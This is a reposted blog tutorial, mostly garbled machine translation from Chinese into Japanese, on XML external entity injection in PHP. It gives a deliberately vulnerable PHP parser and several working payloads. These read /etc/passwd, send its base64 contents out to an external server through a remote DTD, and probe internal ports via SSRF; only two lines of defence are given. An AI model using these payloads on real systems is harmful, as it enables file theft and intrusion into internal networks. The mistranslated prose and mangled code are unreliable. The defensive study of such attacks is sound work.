XMLインジェクションの脆弱性エンティティ攻撃と守備

XML注射の前にちょうど科学でなく、アイデアを理解するためにそれを見るために、非接触されていません。

-----------------------------------------------

ディレクトリ

  1. XMLの基礎
  2. いくつかのエンティティXMLインジェクションの脆弱性姿勢
  3. XMLインジェクションの脆弱性防衛エンティティ

XMLの基礎

XMLは、構造化マークアップ言語を持っている電子文書をマーキングするために、マークデータに使用することができ、構造化マークアップ言語を持っている電子文書のためのマーカーである定義のデータ型、自分のユーザーを許可しますソース言語を定義するマークアップ言語。XML宣言、DTD文書型定義(オプション)、文書要素を含むXML文書構造。

ここではXMLの技術基盤は、私が興味を持っジュニアパートナーはいくつかのリンクにより、XMLの基礎を学ぶために行くことができ、詳細な解釈ではありません。

もちろん、読者が上記の練習のいずれかの後の文書​​を読み、知識のスパンを回避するためには、状況に大きすぎる、見た目の少し知識があるか理解していない、見下し続けることをお勧めします。

XMLエンティティを注入基礎

悪質なコンテンツを構築することにより、外部エンティティを参照するために許可されている場合、それは、ファイルを読むための任意の害をもたらすシステムコマンドを実行し、ウェブサイトを攻撃するために、ネットワーク内のネットワークポートを検出することができます。

単純なXMLを理解した後、我々はあなたがXMLで特殊文字を使用したい知っている、あなたは、あなたがコンテンツを利用することができ、そのうちのいくつかが繰り返しエンティティに設定することができます(会社名など)句を使用してもよいし、物理的な文字を使用する必要があります。

それは名前のとおり宣言するconameの価値QiHoo 360実体を。

1
<!DOCTYPE UserDataの[<!ENTITYのconame "Qihooは360">]>

XML内のエンティティを使用するには、使用が&coname;可能。

次のように脆弱性を実証するために、我々は、簡単なPHPスクリプトを記述します。

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?phpの

$ xmlの=のfile_get_contents( "PHP://入力");
$データ= simplexml_load_string($ XML)。

{foreachの($キー=> $値として$データ)
エコー"您的"。($キー)を変換。"是"。$値。「<BR>」。
}

関数が翻訳($ STR){
スイッチ($ STR){
場合、 "名前":
リターン"名字";
「微信」の場合:
リターン「微信」。
ケース"public_wechat":
リターン"微信公众号"。
ケース「ウェブサイト」:
リターン「网站」。
}
}

ここでの仮定は、我々は、ユーザーが入力したいということです。

1 
2
3
4
5
6
7
<?xmlのバージョン= "1.0"エンコード= "UTF-8"> 
<ユーザー>
<名前>ストライカー</名前>
<微信> strikersb </微信>
<public_wechat> sec_fe </ public_wechat>
<ウェブサイト> のhttp:/ /www.hackersb.cn </ウェブサイト>
</ユーザー>

そして、次のページに戻ることができます。

2866086924

いくつかのエンティティXMLインジェクションの脆弱性姿勢

方法1:

1
<DOCTYPE [<ENTITY SYSTEM B "ファイル:/// etc / passwdファイル"!>]!>

方法2:

1
<!DOCTYPE [<ENTITY%dのシステム"!http://www.hackersb.cn/attack.dtd ">%D; ]>

どこattack.dtd内容は次のとおりです。

1
<!ENTITY SYSTEM B "ファイル:/// etc / passwdファイル">

方法3:

1
<!DOCTYPE SYSTEM " http://www.hackersb.cn/attack.dtd ">

どこattack.dtdそのまま上記の内容。

我々はすべてのローカルファイルを読み取ることができ、注射を使用してXMLエンティティ。

读取任意文件的思路大概就是引入一个实体,实体内容为本地文件。

使用我们如上说的任意一种方法即可实现,我这里使用第一个(因为最方便)。

构造payload如下:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>
<user>
<name>Striker</name>
<wechat>strikersb</wechat>
<public_wechat>sec_fe</public_wechat>
<website>&b;</website>
</user>

提交后查看返回信息:

2068216990

可以看到成功读取了/etc/passwd文件。

如果我们实战中所在的场景下XML并没有回显,我们也可以使用另外一种方法读取文件。

1
2
3
4
5
6
<!DOCTYPE a [ 
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://www.hackersb.cn/attack.dtd">
%dtd;
%mydata;
]>

其中attack.dtd的内容为:

1
2
3
<!ENTITY % all
"<!ENTITY &#x25; mydata SYSTEM "http://www.hackersb.cn/?%file">"
>

发送payload以后就可以在http://www.hackersb.cn/的访问日志中看到请求且带上了/etc/passwd文件base64加密以后的内容:

3823080255

我们既然可以使用file协议读取本地文件,当然也可以使用http协议访问来造成SSRF攻击,甚至可以使用gopher协议。

具体能使用的协议主要取决于PHP,PHP默认支持file、http、ftp、php、compress、data、glob、phar、gopher协议。

如果PHP支持except模块,我们还可以利用except模块来执行系统命令。

简单的SSRF攻击实例如下:

1 
2
3
4
5
6
7
8
<?xmlのバージョン= "1.0"エンコード= "UTF-8"?> 
<!DOCTYPE [<!ENTITY Bシステム" http://127.0.0.1:1234/ ">]>
<ユーザー>
<名前>ストライカー< /名前>
<微信> strikersb </微信>
<public_wechat> sec_fe </ public_wechat>
<ウェブサイト>&B; </ウェブサイト>
</ユーザー>

あなたは、その後の訪問を聞くことができます。

3176503184

SSRF攻撃が成功することができ、我々は当然、その後、エンタープライズ・ネットワーク・システムを攻撃することができます。

他のより害は、それがOWASPのドキュメントを参照してくださいすることができます:

https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf

XMLインジェクションの脆弱性防衛エンティティ

  • 外部エンティティを使用してXMLを無効にします
  • あなたは、フィルタリングを行ってください必要がある場合、XMLコードに直接ユーザーをさせないようにしてください。

おすすめ

転載: www.cnblogs.com/anbuxuan/p/11841358.html